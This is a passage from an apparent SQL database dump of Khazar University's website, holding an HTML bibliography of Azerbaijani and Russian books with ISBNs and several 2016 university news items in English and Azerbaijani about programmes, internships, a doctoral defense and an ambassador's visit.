1. Bakı: Planet Press, 2006. ISBN: 9952809176</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yusif, S. Seçilmiş əsərləri: 2 cilddə. C. 2. Bakı: Planet Press, 2006. ISBN: 9952809183</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yusifov, E. F. Ətraf mühit, iqtisadiyyat, həyat. Bakı: El-Alliance, 2005. ISBN: 9952290519</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yusifov, E. Hirkan Biosfer Rezervatı. Bakı: El-Alliance, 2004. ISBN: 9952290578</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yuvenal ədliyyə: yetkinlik yaşına çatmayanlar tərəfindən törədilən cinayət işləri üzrə ədalət mühakiməsi icraatı. Bakı, 2003. ISBN: 9952808100</p><hr noshade=\"noshade\"><strong>Z</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Zeynalov, F. İbtidai Musiqi Nəzəriyyəsi. Bakı: ISBN: 9952810196</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Zəngəzurlu, P. Lal Haraylar. Bakı: ISBN: 9952810189</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ziyadov, N.M. Yuqoslaviya üzrə Beynəlxalq Cin. Tirbunalı. ISBN: 995250355</p><hr noshade=\"noshade\"><strong>А</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Абасов, A. Проблемы истории, теории и методологии познания. Баку: Ени Несил, 2001. ISBN: 9952240058</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ахундова, У. Решение фундаментальных проблем физики и механики. Bakı, 2003.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952804008</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ахундова, Э. Время – жить. Баку: Дом сказки, 2003. ISBN: 9952210124</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ахундова, Э. Мгновения истины. Баку: Дом сказки, 2003. ISBN: 9952210078</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ахундова, Э. Это – мы. Баку: Дом сказки, 2003. ISBN: 9952210086</p><hr noshade=\"noshade\"><strong>В</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Варианты решения Карабахского конфликта: идеи и реальность. Баку: Ени- Несил, 2002. ISBN: 9952240082</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Василюк, И. Книга кодов. Баку: Издательский дом «Айна», 2001. ISBN: 9952800002</p><hr noshade=\"noshade\"><strong>Г</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong>Гаджиев, В. Флора и растительность Кызылагачского заповедника и их разнообразие. Баку:&nbsp;Эль-Альянс, 2003. ISBN: 9952290276</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Гасанзаде, Н. Под чужими облаками: стихи. Баку: Униветситет Хазар, 2004. ISBN: 9952200196</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Гасанов, Х. Некоторые вопросы усовершенствованиия технологических процессов с помощью&nbsp;тепломассообменных свойств. Баку, 2003. ISBN: 9952802900</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Гендер в азербайджанской периодике: аннотированный библиографический указатель. Баку: AREAT, 2003. ISBN: 9952802110</p><hr noshade=\"noshade\"><strong>Е</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong>Еврейская музыка идиш. Баку: Ени- Несил, 2002. ISBN: 9952240104</p><hr noshade=\"noshade\"><strong>И</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ирзабекова, Е. Антология еврейской музыки. Баку: Ени Несил, 2001. ISBN: 9952402007</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ирзабекова, Е. Практический курс гармонии для вокалистов. Баку: Ени Несил, 2001. ISBN: 995224004Х</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1482/1/xezerin%20soraginda%20ruscason.pdf\"><strong>Исаханлы, Г. В поисках Хазара.</strong></a>&nbsp;Баку: Униветситет Хазар, 2006. ISBN: 9789952200348</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1486/1/kontrast_russon.pdf\"><strong>Исаханлы, Г. Контрасты.</strong></a>&nbsp;Баку: Униветситет Хазар, 2006. ISBN: 9785946611411</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Исмаилов, Р. Институт гражданства Азербайджанской республики. Баку, 2004. ISBN: 9952804105</p><hr noshade=\"noshade\"><strong>К</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Касимов, И. Физика эфирной материи. Баку : Марс-Принт, ISBN: 9952800622</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Касумзаде, А. Стратификация мезозойского комплекса Среднекуринской впадины и&nbsp;Вандамской зоны Большого Кавказа. Баку: Эль-Альянс, 2004. ISBN: 9952290063</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Касумова, Е. Актуальные информационные ресурсы гендера. Баку: AREAT, 2003.&nbsp;ISBN: 9952802102</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Коломазова, М. Прости. Баку: ISBN: 9952807007</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Кулиев, Г. Архетипичные Азери: лики ментальности. Баку: Ени Несил, 2002.&nbsp;ISBN: 9952240171</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Кязимова, Н. Дом скорби. Баку: Эль-Альянс,, 2003. ISBN: 9952290128</p><hr noshade=\"noshade\"><strong>М</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Мамедов, Б. Философия одной души. Баку: Издательство «Авропа», 2003. ISBN: 9952803206</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Мамедова, Ф. Кавказская Албания и албаны. Баку: Центр Исследований Кавказской Албании, 2005. ISBN: 9952807309</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Мирзоев, Ф. Актуальные проблемы изменения государственных границ в международном&nbsp;праве. Баку, 2004. ISBN: 9952804504</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Мурадалиева, Э. Кровь земная - нефть Азербайджана и история. Баку: Мутарджим ТМ, 2006. ISBN: 9952280033</p><hr noshade=\"noshade\"><strong>Н</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Наджафов, И. Убийство полиграфиста. ISBN: 9952210094</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Нариаи, О. Современная японская экономика. Издательство журнала «Эксперт», 2003. ISBN: 9952803117</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Нухаев, Х. Цивилизация и варварство: последний раунд борьбы. Баку: Мехк Кхел, 2002.&nbsp;ISBN: 9952800118</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Нухаев, Х. Чеченцы скорее изменят мир, чем изменят свободе. Баку: Мехк Кхел, 2002.&nbsp;ISBN: 995280010Х</p><hr noshade=\"noshade\"><strong>П</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Пашаев, Г. Жанровый состав иракско-тюркманского фольклора. Баку: Издательство «Баку», 2003. ISBN: 9952801424</p><hr noshade=\"noshade\"><strong>С</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Сафаров, Н. Философско-Этический взгляд на мир. Баку: Муаллим, 2006. ISBN: 9952435045</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Современные проблемы социально-экономического развития и информационных технологий.&nbsp;Баку: Научно–исследователский центр по труду и социальным проблемам, 2004. ISBN:&nbsp; 9952801114</p><hr noshade=\"noshade\"><strong>Т</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Таирова Ф. Дмитрий Шестакович и Азербайджанская музыкальная культура. ISBN: 9952432348</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Тоф, А. Белый квадрат IV. Баку: Чашыоглу, 2004. ISBN: 9952270127</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Тоф, Ф. Цветок небес (верлибры,удетероны,притчи). Баку: Чашыоглу, 2005.ISBN: 9952270313</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Тофа. Луна любви (хайку). Баку: Чашыоглу, 2005.ISBN: 9952270321</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Тюдор, Э. Избранники небес. Баку: Издательство «Yurd», 2002. ISBN: 9952407010</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Тюдор, Э. Семь Посланников. Баку: Издательство «Yurd», 2004. ISBN: 9952803605</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Тюдор, Э. Тайны подводного Каспия. Баку: Издательство «Yurd», 2004. ISBN: 9952803613</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Тюдор, Э. Убийца Чупакабра. Баку: Издательство «Yurd», 2002. ISBN: 9952407029</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Тюдор, Э. Павелители Небес. Баку: Издательство «Yurd», 2002. ISBN: 995280363X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Энергетика: научно-технический журнал № 1. Баку: 2004. ISBN: 9952805500</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Юнусов, А. Ислам в Азербайджане. Баку, 2004. ISBN: 9952805209</p><div><br></div>'),(2498,1510,'en','Potential School Directors Project Continues','The Potential School Directors project which began at Khazar University in September 2014 with the financial support of UNICEF and the Ministry of Education is back by popular demand...','<p>The Potential School Directors project which began\r\nat Khazar University in September 2014 with the financial support of UNICEF and\r\nthe Ministry of Education is back by popular demand, continuing its activities\r\nwith a fifth iteration of the course including 43 participants. A decision to\r\ncontinue the course was made by taking into consideration the experience of\r\nKhazar University in this course, the successful history of the project, and\r\nthe high number of educators who have completed the course as well as Section\r\n1.27 of&nbsp; Khazar University’s Regulations. Classes in the project are held\r\nthree times a week at Khazar University’s Neftchilar Campus. 323 people have\r\nalready graduated from the course, which is very helpful for participants’\r\ndevelopment.&nbsp;</p>'),(2517,1519,'az','ERASMUS PLUS tələbə mübadiləsi','Bakalavr və magistr tələbələrinin diqqətinə! ERASMUS PLUS tələbə mübadiləsi proqramına 7 noyabra qədər müraciət edə bilərsiniz... ','<p><strong>Bachelor and Master Students:</strong></p><p><strong>Applications are NOW accepted for ERASMUS PLUS Exchange Opportunities!</strong></p><p>Do you want to study a semester or a year abroad, meet new friends and learn about other cultures? Then apply to Erasmus Plus Programme!</p><p><strong>WHO IS ELIGIBLE?</strong></p><p>Bachelor and master students who:</p><ul><li>Are enrolled in a Khazar University undergraduate/graduate degree program at the time of application</li><li>Have completed at least the first year of their studies at Khazar University by February 2017</li><li>Have a cumulative GPA of 80 (bachelor) or 85 (master)</li><li>Have no disciplinary sanctions within the past 6 months</li></ul><p><strong>HOW TO APPLY?</strong></p><p>Fill out the application form and submit it in paper or electronically to the International Affairs Office:</p><ul><li>Paper submission: Room#511,&nbsp; 5<sup>th</sup>&nbsp;floor, Neftchiler Campus (41 Mehseti street)</li><li>Electronic submission:&nbsp;<a href=\"mailto:international@khazar.org\">international@khazar.org</a></li></ul><p>(subject line: Erasmus Plus Application – Your First Name and Last Name)</p><p>Application Forms (electronic and paper) could be obtained from Khazar University’s website, Deans’ Offices and the International Affairs Office.</p><p><strong>WHERE CAN I STUDY?</strong></p><p>Khazar University has Erasmus + agreements with numerous universities in countries like Bulgaria, Italy, Poland, Slovenia, Spain, Turkey, and others. Partner-universities include:</p><ul><li>Varna University of Management (Bulgaria)</li><li>University of L\'Aquila (Italy)</li><li>University of Pavia (Italy)</li><li>Sapienza University of Rome (Italy)</li><li>Kozminski University (Poland)</li><li>University of Ljubljana (Slovenia)</li><li>Polytechnic University of Valencia (Spain)</li><li>Kadir Has University (Turkey)</li><li>Middle East Technical University (METU) (Turkey)</li></ul><p><strong>DEADLINE</strong></p><p>17:00 (5:00pm), Monday, November 7, 2016 –&nbsp;<strong>late applications will not be accepted</strong></p><p><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Bachelor%20Application%20Erasmus%20Plus%20Khazar.docx\">Bachelor Application Erasmus Plus Khazar&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Master%20Application%20Erasmus%20Plus%20Khazar.docx\">Master Application Erasmus Plus Khazar&nbsp;</a></strong></p>'),(2519,1521,'az','“LeveLand” Təhsil Mərkəzi işçi axtarır!','Tələbələr və məzunlar üçün təcrübə proqramı.Haqqında: “LeveLand” Təhsil Mərkəzi təlim kursları, seminarlar, dil kursları, təqaüd proqramları və karyera kursları təqdim edir...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><strong>Tələbələr və məzunlar üçün təcrübə proqramı </strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><strong>Haqqında: </strong>“LeveLand” Təhsil Mərkəzi təlim kursları, seminarlar, dil kursları, təqaüd\r\nproqramları və karyera kursları təqdim edir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><strong>Tələblər:</strong> İngilis və rus dillərində səlis danışmaq;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:35.4pt;text-indent:35.4pt;line-height:normal\"\"=\"\">Aktiv və məsuliyyətli olmaq.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Maraqlananlar öz\r\nCV-lərini başlıq hissədə “<em>Internship_LeveLand</em>”\r\nyazaraq, <a href=\"mailto:uhuseynova@khazar.org\">uhuseynova@khazar.org</a> e-poçt ünvanına göndərə bilərlər.</p>'),(2520,1521,'en','LEVELAND is Hiring!','Internship Opportunities for Students and Graduates. About: LeveLand is an education center which provides Training Courses, Seminars, Language Courses, Scholarship Programs and Career Advice...','<p><strong>LEVELAND is Hiring!</strong></p>\r\n<p><strong>Internship Opportunities for Students and Graduates</strong></p>\r\n<p><strong>About:</strong>\r\nLeveLand is an education center which provides Training Courses, Seminars,\r\nLanguage Courses, Scholarship Programs and Career Advice.</p>\r\n<p><strong>Requirements:</strong>\r\nFluent in English and Russian; </p>\r\n<p>Very active and responsible</p>\r\n<p>Interested candidates are\r\nencouraged to apply for the Internship Program e-mailing CVs to the following\r\ne-mail address <a href=\"mailto:uhuseynova@khazar.org\">uhuseynova@khazar.org</a> indicating “Internship_LeveLand” in the subject line.</p>'),(2521,1522,'az','Nəsiman Yaqublu Varşavada Beynəlxalq Prometey konfransında iştirak etmişdir','2016-ci il oktyabrın 23-dən 28-dək Polşa Respublikasının paytaxtı Varşava şəhərində VII Beynəlxalq Prometey Konfransı keçirilmişdir...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-ci il oktyabrın 23-dən 28-dək Polşa Respublikasının\r\npaytaxtı Varşava şəhərində VII Beynəlxalq Prometey Konfransı keçirilmişdir. Xəzər\r\nUniversiteti Tarix və arxeologiya departamentinin&nbsp; müəllimi, tarix elmləri\r\ndoktoru Nəsiman Yaqublu həmin konfransda iştirak etmişdir. Konfransda ABŞ,\r\nPolşa, Ukrayna və Qazaxıstandan gəlmiş tanınmış elm xadimləri iştirak edirdilər.\r\nNəsiman Yaqublu “Qafqaz mühacirlərinin mətbuat orqanları” mövzusunda məruzə ilə\r\nçıxış etmişdir. Hazırda həmin məruzə Varşava Universitetində nəşr edilən “Yeni\r\nPrometey” jurnalında çap olunur. Qeyd edək ki, Nəsiman Yaqublu həm də “Yeni\r\nPrometey” jurnalının redaksiya heyətinin üzvüdür.</p>'),(2522,1520,'en','Khazar University Instructor Becomes Doctor of Science','Ravan Rahimov, instructor of Khazar University’s School of Education and scholar of Azerbaijan National Academy of Sciences, successfully defended his doctoral dissertation...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Ravan\r\nRahimov, instructor of Khazar University’s School of Education and scholar of\r\nAzerbaijan National Academy of Sciences, successfully defended his doctoral\r\ndissertation. He has distinguished himself among young scholars Azerbaijan for\r\nhis unique knowledge, skills and academic contributions. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Ravan\r\nAbdullatif oghlu Rahimov was born in the Galajic village of Ismayilli on June\r\n28, 1980. He finished high school there in 1997. Then he attended Baku State\r\nUniversity, where he studied chemistry, completing his bachelor’s degree in\r\n2001. He began his master’s the same year and earned his degree (with honors)\r\nin high-molecular compounds in 2003. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">He\r\nbegan working in the surface-active substances and preparations laboratory of\r\nANAS in 2002. In 2003, he began working on his PhD at the Petroleum Chemistry\r\nProcesses Institute, and he earned his PhD in Chemistry in 2007 when he\r\ndefended his dissertation on “Development and research on reagents hindering\r\nthe evaporation of benzene based on propylene oxide and polyatomic alcohols.”</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">In\r\n2011, Rahimov began working on his doctoral degree in Petroleum Chemistry. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">On\r\nOctober 21, 2016, R. Rahimov successfully defended his doctoral dissertation on\r\n“Synthesis and research on new surface-active substances based on natural\r\ntriglycerides, (alkanol) amines and (C3) epoxides.” He was recommended for a\r\ndoctoral degree by the Specialized Board.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Rahimov\r\nhas co-authored over 130 works. Over 65 of them are articles, and 3 are patents\r\nin the Azerbaijan Republic. Over 30 of his articles have been published abroad\r\n(Germany, England, Ukraine, Korea, USA, Japan, Malaysia, Ethiopia, Russia, and\r\nreputable journals published by Elsevier, Springer and Taylor &amp; Francis as\r\nwell as 15 journals indexed by Thomson Reuters).&nbsp;</p>'),(2310,1408,'en','Training Seminar for Students of School of Humanities and Social Sciences','On October 11, 2016, a training seminar was held for students of the School of Humanities and Social Sciences as part of the...','<p>On October 11, 2016, a training seminar\r\nwas held for students of the School of Humanities and Social Sciences as part\r\nof the “Establishment of a Foundation for the Integration of Disabled People\r\ninto HEIs of Azerbaijan” (ESFIDIP) Tempus project. During the training, Rima\r\nMammadova, coordinator of the Center for Students with Disabilities, spoke to\r\nthe students about disabilities, ethical treatment of students with\r\ndisabilities, inclusive education, the ESFIDIP Tempus project, and volunteer\r\nopportunities in the Center for Students with Disabilities. </p>\r\n<p>30 students participated in the training\r\nseminar.&nbsp;</p>'),(2311,1408,'az','Humanitar və sosial elmlər fakültəsinin tələbələri üçün təlim-seminar keçirildi','2016-ci il oktyabrın 11-də “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFİDİP) Tempus...','<p>2016-ci il\r\noktyabrın 11-də “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə\r\ninteqrasiyasının təməlinin qoyulması” (ESFİDİP) Tempus layihəsi çərçivəsində Xəzər\r\nUniversitetinin Humanitar və sosial elmlər fakültəsinin tələbələri üçün təlim-seminar\r\nkeçirildi. Təlim-seminar zamanı Xəzər Universiteti Əlilliyi olan Tələbələr üçün\r\nMərkəzin koordinatoru Rima Məmmədova tələbələrə əlillik, əlilliyi olan tələbələrlə\r\netik davranış və düzgün ünsiyyət, inkluziv təhsil, ESFİDİP Tempus layihəsi,\r\nƏlilliyi olan Tələbələr üçün Mərkəz və könüllülük haqqında geniş məlumat verdi.\r\n</p>\r\n<p>Təlim-seminarda 30 nəfər tələbə iştirak\r\nedirdi.&nbsp;</p>'),(2312,1409,'en','Ambassador of Indonesia Visits Khazar University','On October 10, 2016, the Ambassador of Indonesia to the Azerbaijan Republic, Dr. H. Husnan Bey Fananie, visited Khazar University to meet with the university...','<p>On October 10, 2016, the Ambassador of Indonesia to the Azerbaijan Republic, Dr. H. Husnan\r\nBey Fananie, visited Khazar University to meet with the university\r\nadministration. Participants from the Embassy of Indonesia also included Ms.\r\nAnggraeni Widiastuti, the first secretary, and Ms. Parvana Karimova, senior\r\nadministrative assistant.\r\nThe meeting was held on the university’s Neftchilar campus.</p>\r\n<p>Khazar University was\r\nrepresented by Dr. Hassan Niknafs, President; Dr. Ingilab Ahmadov, Dean of the\r\nSchool of Economics and Management; Dr. Jabir Khalilov, Dean of the School of\r\nHumanities and Social Sciences; and Ms. Turan Jafarova, Director of the\r\nInternational Affairs Office. </p>\r\n<p>The Ambassador spoke about Indonesia,\r\nits culture, economy, and education system. He informed the meeting\r\nparticipants about scholarship opportunities provided by the Indonesian\r\nGovernment to Azerbaijani students. Dr. Fananie expressed his gratitude to\r\nKhazar University for the scholarships it provides to Indonesian citizens.\r\nCurrently, two students from Indonesia study at Khazar University through the\r\nKhazar University International Scholarship Program.</p>\r\n<p>President of Khazar Universiry, Dr. Hassan Niknafs, spoke about the history of\r\nKhazar University, its schools, programs,\r\nresources, laboratories, research capacity and other important academic\r\naspects.&nbsp; He also provided information about the dormitory of the\r\nuniversity that was recently opened. Ms. Turan Jafarova emphasized that\r\nthe university was interested in attracting more students from Indonesia and in\r\nstrengthening cooperation with universities in Indonesia.</p>\r\n<p>The Ambassador of Indonesia presented a\r\nmemorable gift to the President. A promotional package of Khazar University was\r\nalso presented to the representatives of the embassy.</p>'),(2313,1409,'az','İndoneziyanın Azərbaycandakı səfiri Xəzər Universitetində oldu','2016-cı il oktyabrın 10-da İndoneziyanın Azərbaycandakı səfiri Dr. H. Husnan Bey Fananie Xəzər Universitetində bir sıra görüşlər keçirdi...','<p>2016-cı il oktyabrın 10-da İndoneziyanın\r\nAzərbaycandakı səfiri\r\nDr. H. Husnan Bey\r\nFananie Xəzər Universitetində bir sıra görüşlər keçirdi. İndoneziya səfirliyi\r\nnümayəndəliyinin tərkibinə birinci katib Anggraeni Widiastuti və böyük inzibati\r\nköməkçi Pərvanə Kərimova daxil idi. Görüş “Neftçilər” kampusunda baş tutdu. </p>\r\n<p>Xəzər Universitetini isə universitetin rektoru Dr.\r\nHassan Niknafs, İqtisadiyyat və menecment fakültəsinin dekanı Dr. İnqilab Əhmədov,\r\nHumanitar və sosial elmlər fakültəsinin dekanı dosent Cabir Xəlilov və Beynəlxalq\r\nəlaqələr şöbəsinin direktoru Turan Cəfərova təmsil edirdilər. </p>\r\n<p>&nbsp;Səfir İndoneziyanın mədəniyyəti,\r\niqtisadiyyatı və təhsil sistemi haqqında danışdı. O, görüş iştirakçılarına\r\nİndoneziya hökumətinin azərbaycanlı tələbələr üçün təklif etidyi təqaüd\r\nimkanları haqqında məlumat verdi. Dr. Fananie Xəzər Universitetinə indoneziyalı\r\ntələbələrə verdiyi təqaüdlərə görə təşəkkür etdi. Hazırda Xəzər Universitetində\r\nuniversitetin Beynəlxalq Tələbə Təqaüd Proqramı çərçivəsində iki indoneziyalı tələbə\r\ntəhsil alır. </p>\r\n<p>Xəzər Universitetinin rektoru Dr. Hassan Niknafs\r\nuniversitetin tarixi, təklif etdiyi ixtisaslar, universitetin resursları,\r\nlaboratoriyaları, tədqiqat imkanları və başqa aspektlərdən danışdı. O, həm də\r\nuniversitetin yeni açılmış yataqxanası haqqında görüş iştirakçılarına məlumat\r\nverdi. Turan Cəfərova qeyd etdi ki, universitet İndoneziya ilə əlaqələri möhkəmləndirməkdə\r\nvə oradan yeni tələbələr cəlb etməkdə maraqlıdır. </p>\r\n<p>İndoneizya səfiri universitetin rektoruna xatirə hədiyyəsi\r\nverdi. Səfrilikdən gələn qonaqlara Xəzər Universitetinin məlumat 